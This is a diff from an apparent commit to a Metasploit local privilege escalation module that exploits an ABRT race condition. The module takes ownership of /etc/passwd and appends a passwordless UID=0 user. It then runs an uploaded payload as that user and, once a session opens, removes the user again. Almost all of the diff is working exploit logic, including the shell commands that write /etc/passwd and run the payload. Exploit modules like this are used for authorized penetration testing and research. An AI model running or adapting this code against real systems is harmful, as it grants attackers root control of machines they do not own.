@@ -59,6 +59,7 @@ def initialize(info = {})
59
59
register_options (
60
60
[
61
61
OptInt . new ( 'TIMEOUT' , [ true , 'Race timeout (seconds)' , '900' ] ) ,
62
+ OptString . new ( 'USERNAME' , [ false , 'Username of new UID=0 user (default: random)' , '' ] ) ,
62
63
OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] )
63
64
] )
64
65
end
@@ -123,8 +124,13 @@ def exploit
123
124
fail_with Failure ::NotVulnerable , 'Target is not vulnerable'
124
125
end
125
126
126
- chown_file = '/etc/passwd'
127
- username = rand_text_alpha rand ( 7 ..10 )
127
+ @chown_file = '/etc/passwd'
128
+
129
+ if datastore [ 'USERNAME' ] . blank?
130
+ @username = rand_text_alpha rand ( 7 ..10 )
131
+ else
132
+ @username = datastore [ 'USERNAME' ]
133
+ end
128
134
129
135
# Upload Tavis Ormandy's raceabrt exploit:
130
136
# - https://www.exploit-db.com/exploits/36747/
@@ -143,47 +149,41 @@ def exploit
143
149
cmd_exec "cd '#{ base_dir } '"
144
150
145
151
# Launch raceabrt executable
146
- print_status "Trying to own '#{ chown_file } ' - This might take a few minutes (Timeout: #{ timeout } s) ..."
147
- output = cmd_exec "#{ executable_path } #{ chown_file } " , nil , timeout
152
+ print_status "Trying to own '#{ @ chown_file} ' - This might take a few minutes (Timeout: #{ timeout } s) ..."
153
+ output = cmd_exec "#{ executable_path } #{ @ chown_file} " , nil , timeout
148
154
output . each_line { |line | vprint_status line . chomp }
149
155
150
156
# Check if we own /etc/passwd
151
- unless cmd_exec ( "[ -w #{ chown_file } ] && echo true" ) . include? 'true'
152
- fail_with Failure ::Unknown , "Failed to own '#{ chown_file } '"
157
+ unless cmd_exec ( "[ -w #{ @ chown_file} ] && echo true" ) . include? 'true'
158
+ fail_with Failure ::Unknown , "Failed to own '#{ @ chown_file} '"
153
159
end
154
160
155
- print_good "Success! '#{ chown_file } ' is writable"
161
+ print_good "Success! '#{ @ chown_file} ' is writable"
156
162
157
163
# Add new user with no password
158
- print_status "Adding #{ username } user to #{ chown_file } ..."
159
- cmd_exec "echo '#{ username } ::0:0::/root:/bin/bash' >> #{ chown_file } "
160
-
161
- # Switch to new user
162
- vprint_status 'Switching to new user...'
163
- cmd_exec "su - #{ username } "
164
- id = cmd_exec 'id'
165
- vprint_line id
166
- unless id . include? 'root'
167
- fail_with Failure ::Unknown , 'Failed to gain root privileges'
168
- end
169
-
170
- # Remove new user
171
- cmd_exec "sed -i 's/^#{ username } .*$//g' #{ chown_file } "
172
- passwd = cmd_exec "grep #{ username } #{ chown_file } "
173
- if passwd =~ /#{ username } /
174
- print_warning "Could not remove the '#{ username } ' user from #{ chown_file } "
175
- end
176
-
177
- # Reinstate /etc/passwd ownership
178
- cmd_exec "chown root:root #{ chown_file } "
164
+ print_status "Adding #{ @username } user to #{ @chown_file } ..."
165
+ cmd_exec "echo '#{ @username } ::0:0::/root:/bin/bash' >> #{ @chown_file } "
179
166
180
167
# Upload payload executable
181
- payload_name = ".#{ rand_text_alphanumeric rand ( 5 ..10 ) } "
182
- payload_path = "#{ base_dir } /#{ payload_name } "
168
+ payload_path = "#{ base_dir } /.#{ rand_text_alphanumeric rand ( 5 ..10 ) } "
183
169
upload_and_chmodx payload_path , generate_payload_exe
184
170
185
171
# Execute payload executable
186
172
vprint_status 'Executing payload...'
187
- cmd_exec payload_path
173
+ cmd_exec "/bin/bash -c \" echo #{ payload_path } | su - #{ @username } &\" "
174
+ end
175
+
176
+ def on_new_session ( session )
177
+ # Reinstate /etc/passwd ownership
178
+ session . shell_command_token "chown root:root #{ @chown_file } "
179
+
180
+ # Remove new user
181
+ session . shell_command_token "sed -i 's/^#{ @username } .*$//g' #{ @chown_file } "
182
+ passwd = session . shell_command_token "grep #{ @username } #{ @chown_file } "
183
+ if passwd . include? @username
184
+ print_warning "Could not remove user '#{ @username } ' from #{ @chown_file } "
185
+ end
186
+
187
+ super
188
188
end
189
189
end
0 commit comments